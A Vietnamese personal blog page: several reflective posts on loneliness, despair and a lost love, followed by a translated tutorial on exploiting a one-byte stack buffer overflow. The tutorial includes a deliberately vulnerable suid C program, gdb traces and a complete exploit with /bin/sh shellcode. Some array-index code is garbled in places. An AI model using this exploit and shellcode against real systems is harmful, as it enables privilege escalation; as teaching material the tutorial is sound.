Skip navigation.

The life of a Wanderer

I never stay anywhere

Và ta vẫn phải cám ơn cuộc sống...

Cuộc sống, vốn mang nhiều gam màu. Như người ta vẫn hay dùng bằng từ ngữ thông thường, ngắn gọn: phức tạp. Và cũng có người dùng bằng từ ngữ bóng bẩy, triết lý: không phải một thảm hoa hồng, mà nếu có là thảm hoa hồng thì ắt sẽ đầy gai nhọn, bước vào cuộc sống ai sẽ tránh được gai nhọn?

Phức tạp, gai nhọn và hoa hồng sẽ làm thi vị cuộc sống. Phức tạp, gai nhọn và hoa hồng cũng làm u tối cuộc sống.

Nhưng, chẳng ai tránh được. Vì nếu không có nó, cuộc sống biết đâu sẽ chẳng còn là cuộc sống.

Mình từng có lần gặp nhà thơ Anh Ngọc. Ông làm thơ hay. Trong khu tập thể quân đội cũ kỹ, ông đánh ghi ta và hát cho mình nghe những bài hát phổ thơ ông, mà cả tập thơ đó ông dành tặng Trịnh Công Sơn. Yêu thơ, nhưng chỉ nhớ 2 câu trong 1 bài thơ của ông: "Chấp nhận cô đơn là cao hơn cô đơn, dám tuyệt vọng là mạnh hơn tuyệt vọng".



Ai cũng từng cô đơn, ai cũng từng tuyệt vọng. Dù theo những xúc cảm và hoàn cảnh khác nhau. Cô đơn không có nghĩa là khi ở một mình. Tuyệt vọng không có nghĩa là khi thất bại, hết niềm tin.

Ở giữa hạnh phúc không có nghĩa là hoàn toàn hạnh phúc, ở giữa hy vọng không có nghĩa sẽ không tuyệt vọng.

Chấp nhận cô đơn là không còn cô đơn, không "thấy" mình cô đơn nữa. Cô đơn lúc đó sẽ thấp lắm, tầm thường lắm khi ta hiểu rõ ta cô đơn. Chấp nhận cô đơn ta sẽ cao hơn cô đơn.

Dám tuyệt vọng là tuyệt vọng đã không còn, không còn "thấy" mình đang tuyệt vọng nữa. Tuyệt vọng lúc đó sẽ yếu lắm, tầm thường lắm khi ta hiểu rõ sự tuyệt vọng. Dám tuyệt vọng, ta sẽ mạnh hơn tuyệt vọng.




Mấy hôm nay cảm xúc mang nhiều góc cạnh. Muốn viết thật nhiều nhưng chẳng viết nổi. Muốn nói thật nhiều nhưng chẳng nói nổi. Muốn làm nhiều thứ nhưng không thể làm nổi.

Thôi thì cứ để nó diễn ra như nó đang diễn ra. Biết rằng lòng vẫn thích câu thơ "Chấp nhận cô đơn là cao hơn cô đơn, dám tuyệt vọng là mạnh hơn tuyệt vọng", nhưng sự cô đơn mà nhiều người biết sẽ chẳng thành cô đơn nữa, sự tuyệt vọng mà được nhiều người biết sẽ chẳng là tuyệt vọng nữa.

Đêm nay vẫn một mình nghe những bản nhạc yêu thích, vẫn mất ngủ lang thang trên mạng chả biết có phải đang cô đơn. Có thể đêm mai, đêm kia sẽ không còn hy vọng ở những điều đang hy vọng, chả biết có phải là tuyệt vọng không.

Và ta vẫn phải cám ơn cuộc sống, sau mỗi sớm mai thức giấc...

Cười lên đi em ơi.Cười lên dẫu những dòng lệ rơi

Cuộc sống phải đâu là như thế? Một ngày nọ, tôi cảm thấy cuộc sống của chính mình dường như bắt đầu đi vào một vòng xoáy với gia tốc ngày một tăng đến mức chóng mặt. Có cảm tưởng nếu mọi thứ cứ tiếp tục như thế này thì đến một lúc nào đó cỗ máy chính tôi sẽ vỡ tung ra thành từng chi tiết. Như thế thật là nguy hiểm.

Áp lực công việc ngày một tăng mà công sức đổ ra cứ như muối bỏ biển, chẳng thấm tháp vào đâu. Chuyện học thêm để cập nhật và nâng cao kiến thức giống như món nợ sắp đến hạn phải thanh toán cho ngân hàng. Chuyện gia đình, họ hàng, người thân, bạn bè cuốn chính tôi đi vào bát quái trận đồ mà ngày qua ngày chẳng còn lấy phút giây nào để thực sự lắng nghe những thanh âm tự nhiên của cuộc sống, để cảm nhận những rung cảm khẽ khàng nhất trong lòng mình và thế giới xung quanh… Như thế thật là nguy hiểm.

Mỗi buổi sáng dù trời mưa hay nắng, dù mùa hè hay mùa đông, dù đường vắng người hay ken chặt những dòng xe cộ, khói bụi mịt mùng, còi vang inh ỏi thì đều phải đến cơ quan đúng giờ. Trưa đến giờ về hay chiều đến giờ đi cũng thế. Rồi đến tối dù đi làm về sớm hay muộn, dù đã ăn lót dạ hay chưa cũng phải có mặt ở lớp đúng giờ vì thầy cô còn có thể đến lớp trễ tí đỉnh chứ học trò đi trễ là điều khó chấp nhận được. Đám cưới hay sinh nhật của bạn bè, đám giỗ hay đám đầy tháng nhà người quen đã nhận lời là không thể đến muộn, một người có thể đợi nhiều người còn để nhiều người chờ đợi một người thì thật là khó coi… Và cứ như thế một lúc nào đó cái đồng hồ sinh học trong chính tôi được điều chỉnh chính xác đến cả kim giây tích tắc. Như thế thật là nguy hiểm.

Cuộc sống cư xoay quần,mọi người cũng vậy,tôi cũng vậy.

Đôi lúc tôi tự hỏi điều gì trên thế gian này là vĩnh cữu?Gì nhỉ...?Mọi người nói là"Tình Yeu"...Có chắc không?Nơi nào tình yêu là mãi mãi?À không...xin lỗi, chắc tôi nhầm.Tình yêu là mãi mãi.

Trước đây,mỗi lần buồn tôi đều nghe nhạc, những bài hát thật buồn.Nhưng bây giờ thì không...tôi lao đầu vào công việc một cách điên cuồng.Làm, làm...Nhưng buồn vì đâu, nhiều khi tôi cũng ko tìm ra nguyên nhân.Hay là...

Bước trên con đường chiều, vô tình gặp những sự việc đa khiền tôi bỗng nhớ về những điều gì đó,về một nơi nào đó, về con người nào đó.Rốt cục chuyện này sẽ đi về đâu...?Lời nói, tình thương, niềm tin, hy vọng,đợi chờ, có được bao nhiêu phần trăm trong mỗi chúng ta...Hay chỉ là một sự ngộ nhận, sự thương hại lẫn nhau...hay là chẳng có gì cả.

"Tôi muốn tránh nhưng lại tìm.Tôi muốn quên, nhớ càng nhiều.Tôi muốn xa nhưng lai gần."

Mọi người hay cho là tại số mệnh.Nhưng theo quan niệm của tôi.Tôi co thể là sẽ tin vào số mệnh.Có câu " Tận nhân lực.Truy thiên mệnh"Khi ta làm hết khả năng của mình mà vẩn ko thay đổi điều gì, lúc đó hay cho đó là ý trời.Nhưng tôi hiện tại cũng ko xác định được điều gì đang xảy ra.Tại tôi chưa tận tâm, hết mình, hay tại mênh trời đã quyết...

Cầu Chúa ban phước lành đến với mọi người.Xin cho người tôi yêu mãi hạnh phúc.

Roi mai toi dua em xa ky niem

Roi mai, toi dua em xa ky niem...Dung vay, nhung dieu da co , dang co, dang mat di, va toi se quen???
....Em con nho chang em...?Nho khong nhung ngay ay...
Em tung noi rang minh se mai ben nhau.Va em cung da noi khi chung ta chia tay:"Roi cung se co nguoi quan tam , cham soc anh ma"...Co khong em?Chac la co do em, nhung sao em lai nghi nhu vay.Theo em thi em se muon o ben nguoi minh yeu hay la o ben nguoi yeu minh.
...Co le noi gi cung muon roi dung ko em.Anh khong trach em dau,luc ta gap nhau, minh da noi la chung ta co duyen voi nhau.Thoi thi chung ta gio day doi duong thi chac la khong co duyen voi nhau...Moi nguoi deu co quyen luc chon nguoi yeu cho minh, anh da chon, chon roi do em.Con em thi sao em?...Chac la chua dung ko em?
........Nay em hoi, con duong em di do, con duong em theo do, dung day em oi..."Dung vay do em, loi bai hat do , em con nho chu...Anh nghi em da chon dung roi do em,ban be em da tung noi song ben mot nguoi cu lang thang mai nhu anh thi se khong co ngay mai,dung vay, anh nghi la moi nguoi noi dung do.Cuoc song cua mot ke lang thang ma em, vo dinh lam em oi.
Em a`, em khong can phai nho, phai ban tam vi nhung loi hua khi xua dau em,du sao cung chi la mot loi hua,hay quen de tim duoc hanh phuc nhe em.Anh se luon cau nguyen hanh phuc se den voi em...

Con khong em ???

"Toi muon tranh, nhung lai tim.Toi muon quen, nho cang nhieu".Moi chuyen bat dau tu dau?Dien ra nhu the nao? De gio day......????Nhung loi hua hen, biet gio co con khong?....

Nhung buoi chieu, nhung ky niem , nhung dieu gi do cu hien len trong dau.Hien len hinh anh mot ai do.Mot nguoi nao do, voi loi hua do, nhung loi quan tam ngot ngao do,giong noi khong the nao quen do.....Nhung luc online, toi van vay, nhu ngay nao, Buzz buzz buzz, de xem co nguoi ta khong...

Toi khong thich cai kieu moi nguoi goi ve nhung moi tinh:moi tinh dau, moi tinh thu 2, thu 2.Tai sao lai co nhung dieu do.Tai sao lai phai lam vay.Mot moi tinh khong duoc sao???Goi nhu vay chi khi nhung moi tinh da troi qua.....

The life of a wanderer"... cuoc song cua mot ke lang thang... chac chi la nhung ky niem trong dau....

Con` khong cau noi thuy chung ben lau.Con khong loi hua ben nhau.Con khong tinh yeu ngay nao?...........................

Roi mai toi se di

Toi se di... di dau? Toi cung khong biet.Co the ....

Khi mot con nguoi danh mat niem tin thi khong the tiep tuc lam bat cu dieu gi nua.Song tren doi phai tin nguoi , tin cuoc song, tin tat ca de roi mat niem tin????Neu tren duong tu truong hoc ve nha hay tu bat cu dau den bat cu dau chi co mot con duong thang tap thi co le khong co nhung tai nan, khong co tranh chap.Nhung ...nga re thi co qua nhieu.Toi phai chon nhu the nao?, co chac la moi nga re deu co the tro ve nha?...

"Cuoc doi", toi con tre thoi, nen khong dam ban ve 2 tu do.Nhung nhung dieu cam nhan thay, gap phai, khien toi moi that su thay duoc su kho khan cua viec lam nguoi`...qua kho...Co qua nhieu quy tac, nhieu dieu le, nhieu dieu bat con nguoi phai chon lua...

Toi cam thay met moi truoc moi dieu, nguoi ta noi ra doi song phai co ban be, bang huu.Nhung co nhieu thi rac roi that...toi phai lam sao de moi nguoi deu vua long, nguoi nay muon the nay , nguoi kia muon the kia...Cuoc song sao cu bat toi phai chon lua nhieu huong khac nhau, khong cho toi 1 su lua chon thoi.

Toi khong oan trach cuoc doi, nhung toi thay xot xa ve nhieu dieu dang xay ra, voi ban be, voi gia dinh....voi toi...Sao cu phai la nguoi toi yeu thuong nhat phai roi xa toi, lanh xa toi...Cu bat toi lam mot kiep song thang lang khap phuong troi ....

Doi luc ngoi nghi thay con gai vay ma khoe, gap chuyen buon thi khoc mot hoi la cam thay nhe nhom.Toi doi luc cung muon, nhung sao khong the khoc duoc,khong co mot giot nuoc mat nao, khong gi ca.......................

Thoi thi cu" Thoi vay, cung danh"Nguoi ta noi viec gi den se den", ...........................................................................................................

Toi da di, dang di, se di.....Toi van con doi....mot dieu gi do o noi xa xoi nao do..................

Làm tràn bộ đệm bằng 1 byte

Giới thiệu

Bộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu quan trọng lưu trên vùng nhớ của tiến trình và từ đó chúng ta có thể đổi hướng thực thi của nó. Điều này không có gì mới. Bài viết này không đề cập nhiều đến việc làm thế nào để khai thác lỗi tràn bộ đệm, cũng như không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thể khai thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất, chẳng hạn bộ đệm chỉ có thể bị làm tràn bởi một byte. Có nhiều kỹ thuật kỳ bí với mục đích khai thác các tiến trình có đặc quyền trong những tình huống khó khăn nhất, kể cả khi đặc quyền của tiến trình đã bị tước bỏ. Chúng ta sẽ chỉ đề cập đến tràn bộ đệm một byte trong bài viết này.

Mục tiêu tấn công

Hãy viết một chương trình suid giả bị lỗi, chúng ta sẽ đặt tên là "suid".
Chương trình sẽ được viết sao cho bị tràn bộ đệm chỉ một byte duy nhất.

ipdev:~/tests$ cat > suid.c
#include <stdio.h>

func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer=sm;
}

main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}

func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$

Như đã thấy, chúng ta không có nhiều khoảng trống để khai thác chương trình này. Thực sự là tràn bộ đệm cũng chỉ bị gây ra bởi một byte vượt ngoài kích thước vùng lưu trữ của bộ đệm. Chúng ta sẽ phải sử dụng byte này một cách thật khéo léo. Trước khi khai thác lỗi, chúng ta nên xem qua byte này sẽ thực sự ghi đè lên những gì (bạn có thể đã biết điều đó). Hãy tập hợp những thông tin trên stack bằng gdb vào lúc tràn bộ đệm xảy ra.

ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb)

Chúng ta đã biết, bộ xử lý (processor) sẽ push %eip lên stack trước tiên ngay khi thực hiện chỉ thị CALL. Tiếp theo, chương trình sẽ push %ebp lên kế đó như đã thấy ở địa chỉ *0x8048134. Cuối cùng, nó sẽ kích hoạt bản ghi cục bộ (local frame) bằng cách giảm %esp đi 0x104 (260) byte. Điều này có nghĩa các biến cục bộ sẽ có độ lớn 0x104 byte (0x100 cho biến chuỗi và 0x004 cho biến integer). Lưu ý rằng các biến lưu trên stack theo đơn vị word có độ dài 4 byte, vì vậy bộ đệm 255 byte sẽ thực sự chiếm vùng lưu trữ 256 byte. Bây giờ chúng ta sẽ xem nội dung stack có gì trước khi tràn bộ đệm xảy ra:

saved_eip
saved_ebp
char buffer[255]
char buffer[254]
...
char buffer[000]
int i

Điều này có nghĩa byte bị làm tràn sẽ ghi đè lên giá trị con trỏ frame bảo lưu (saved frame pointer) đã được push lên stack ở đầu hàm func(). Nhưng làm thế nào byte này có thể được dùng để đổi hướng thực thi của chương trình? Hãy xem điều gì xảy ra với bản lưu của %ebp. Chúng ta đã biết rằng nó sẽ được phục hồi giá trị ở cuối hàm func(), như đã thấy ở địa chỉ *0x804817e. Những tiếp theo sẽ là gì?

(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb)

Tuyệt vời! Sau khi hàm func() được gọi, ở cuối hàm main(), %ebp sẽ được phục hồi giá trị vào %esp, như đã thấy ở địa chỉ *0x80481b1. Điều này có nghĩa chúng ta có thể đặt vào %esp một giá trị tuỳ ý. Nhưng nhớ rằng, giá trị tuỳ ý này không "thực sự" là tuỳ ý vì bạn chỉ có thể thay đổi một byte cuối cùng của %esp. Hãy kiểm tra xem chúng ta có đúng không.

(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`

Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)

Chúng ta đã đúng. Sau khi làm tràn bộ đệm bằng một ký tự 'A' (0x41), giá
trị %ebp được chuyển vào %esp, và được tăng lên thêm 4 vì %ebp được pop ra
khỏi stack ngay trước chỉ thị RET. Điều này cho ta kết quả 0xbffffd41 + 0x4
= 0xbffffd45.


Chuẩn bị

Thay đổi con trỏ stack sẽ cho chúng ta điều gì? Chúng ta không thể thay đổi giá trị của thanh ghi con trỏ bảo lưu (saved %eip) một cách trực tiếp giống như trong các khai thác lỗi tràn bộ đệm kinh điển, nhưng chúng ta có thể khiến bộ xử lý nghĩ rằng giá trị của nó trỏ đến nơi khác. Khi bộ xử lý trở về (return) tự một thủ tục, nó chỉ pop giá trị word đầu tiên trên stack, xem nó là giá trị %eip cũ. Nhưng nếu chúng ta thay đổi giá trị của %esp, chúng ta có thể khiến bộ xử lý pop một giá trị bất kỳ trên stack và xem đó như là %eip, và vì thế đổi hướng thực thi của chương trình. Hãy làm tràn bộ đệm với chuỗi có dạng sau:

[nops][shellcode][&shellcode][%ebp_altering_byte]

Để làm được điều này, trước chúng ta nên xác định giá trị mà chúng ta muốn thay đổi %ebp thành (từ đó thay đổi %esp). Hãy xem nội dung trên stack có gì khi tràn bộ đệm xảy ra:

saved_eip
saved_ebp (altered by 1 byte)
&shellcode \
shellcode | char buffer
nops /
int i

Ở đây, chúng ta muốn %esp trỏ đến &shellcode để địa chỉ của shellcode sẽ được pop vào %eip khi bộ xử lý trở về từ hàm main(). Bây giờ chúng ta đã có đầy đủ những kiến thức cần thiết để khai thác chương trình bị lỗi, chúng ta cần trích thông tin chính xác từ tiến trình đang thực thi trong ngữ cảnh nó sẽ xảy ra khi bị khai thác. Thông tin này gồm địa chỉ của bộ đệm bị làm tràn và địa chỉ của con trỏ đến bộ đệm của chúng ta (&shellcode). Hãy chạy chương trình như thể chúng ta muốn nó bị làm tràn bởi chuỗi nhập có chiều dài 257 byte. Để làm được điều này, chúng ta phải viết một chương trình khai thác giả để tái tạo ngữ cảnh mà chúng ta sẽ tiến hành khai thác tiến
trình bị lỗi.

(gdb) q
ipdev:~/tests$ cat > fake_exp.c
#include <stdio.h>
#include <unistd.h>

main()
{
int i;
char buffer[1024];

bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.

Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)

Bây giờ chúng ta đã có giá trị của %esp ngay sau khi bản ghi của hàm func() được kích hoạt. Từ giá trị này chúng ta có thể dự đoán bộ đệm của chúng ta sẽ được cấp phát ở địa chỉ 0xbffffc60 + 0x04 (size of 'int i') =0xbffffc64, và con trỏ đến vùng shellcode của chúng ta sẽ được đặt ở địa chỉ 0xbffffc64 + 0x100 (size of 'char buffer[256]') - 0x04 (size of our pointer) = 0xbffffd60.


Viết chương trình tấn công

Có những giá trị này sẽ cho phép chúng ta viết phiên bản đầy đủ của chương trình khai thác lỗi, có cả shellcode, con trỏ đến shellcode và giá trị byte bị ghi đè. Giá trị chúng ta cần ghi đè lên byte cuối cùng của %ebp bảo lưu sẽ là 0x60 - 0x04 = 0x5c, vì nhớ lại rằng chúng ta sẽ pop %ebp ngay trước khi trở về từ hàm main(). 4 byte này sẽ bù cho giá trị %ebp đã bị lấy ra khỏi stack. Đối với con trỏ đến vùng shellcode của chúng ta, chúng ta không cần nó phải trỏ đến địa chỉ chính xác. Tất cả những gì chúng ta cần là khiến bộ xử lý trở về địa chỉ vào khoảng giữa các chỉ thị NOP ở phần đầu của bộ đệm bị làm tràn (0xbffffc64) và shellcode của chúng ta (0xbffffc64 -
sizeof(shellcode)), giống như khi thực hiện tràn bộ đệm thông thường. Chẳng hạn ta sử dụng địa chỉ 0xbffffc74.

ipdev:~/tests$ cat > exp.c
#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";

main()
{
int i, j;
char buffer[1024];

bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer = sc_linux[j];
}
buffer[i++] = 0x74; /* Address of our buffer */
buffer[i++] = 0xfc;
buffer[i++] = 0xff;
buffer[i++] = 0xbf;
buffer[i++] = 0x5c;

execl("./suid", "suid", buffer, NULL);

}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$


Tuyệt! Hãy xem xét kỹ hơn điều gì đã xảy ra. Mặc dù chúng ta đã xây dựng chương trình khai thác lỗi dựa trên lý thuyết tôi đã trình bày ở đây, sẽ rất thú vị nếu chúng ta xem xét tất cả mọi thứ đã gắn kết lại với nhau như thế nào. Bạn có thể không cần đọc đoạn này nếu bạn hiểu rõ tất cả những gì đã giải thích ở trên, và có thể bắt đầu tìm kiếm những lỗ hổng trong thực tế.

ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)

Trước tiên hãy đặt vài điểm dừng (breakpoint) để theo dõi quá trình khai thác lỗi chương trình "suid" một cách kỹ lưỡng những gì diễn ra. Chúng ta sẽ lần theo giá trị chúng ta đã ghi đè lên con trỏ frame cho đến khi đoạn shellcode của chúng ta được thực thi.

(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)

Điểm dừng đầu tiên cho phép chúng ta theo dõi nội dung của %ebp trước và sau khi bị pop ra khỏi stack. Những giá trị này sẽ tương ứng với giá trị nguyên thuỷ và giá trị đã bị ghi đè.

(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <_IO_printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)

Ở đây chúng ta muốn theo dõi việc truyền giá trị %ebp đã bị ghi đè sang cho %esp và nội dung của %esp cho đến khi việc trở về từ hàm main() xảy ra. Hãy bắt đầu chạy chương trình.

(gdb) c
Continuing.

Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
(gdb) c
Continuing.

Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.

Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.

Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
(gdb)

Đầu tiên, chúng ta thấy giá trị nguyên thuỷ của %ebp. Sau khi được pop ra khỏi stack, chúng ta có thể thấy nó đã bị thay thế bởi giá trị bị ghi đè bởi byte cuối cùng của chuỗi nhập dùng làm tràn, 0x5c. Sau đó, giá trị %ebp được chuyển sang %esp, và cuối cùng, sau khi %ebp đã được pop ra khỏi stack một lần nữa, giá trị %esp được tăng thêm 4 byte. Cho ta giá trị cuối cùng là 0xbffffd60. Hãy xem có gì ở địa chỉ đó.

(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>: 0x90909090
0x90909090
(gdb)

Như có thể thấy 0xbffffd60 thực sự là địa chỉ của con trỏ trỏ đến đoạn giữa các NOP ngay trước đoạn shellcode của chúng ta. Khi bộ xử lý trở về từ hàm main(), nó sẽ pop giá trị này vào %eip và nhảy đến chính xác địa chỉ 0xbffffc74. Lúc này shellcode của chúng ta sẽ được thực thi.

(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$


Kết luận

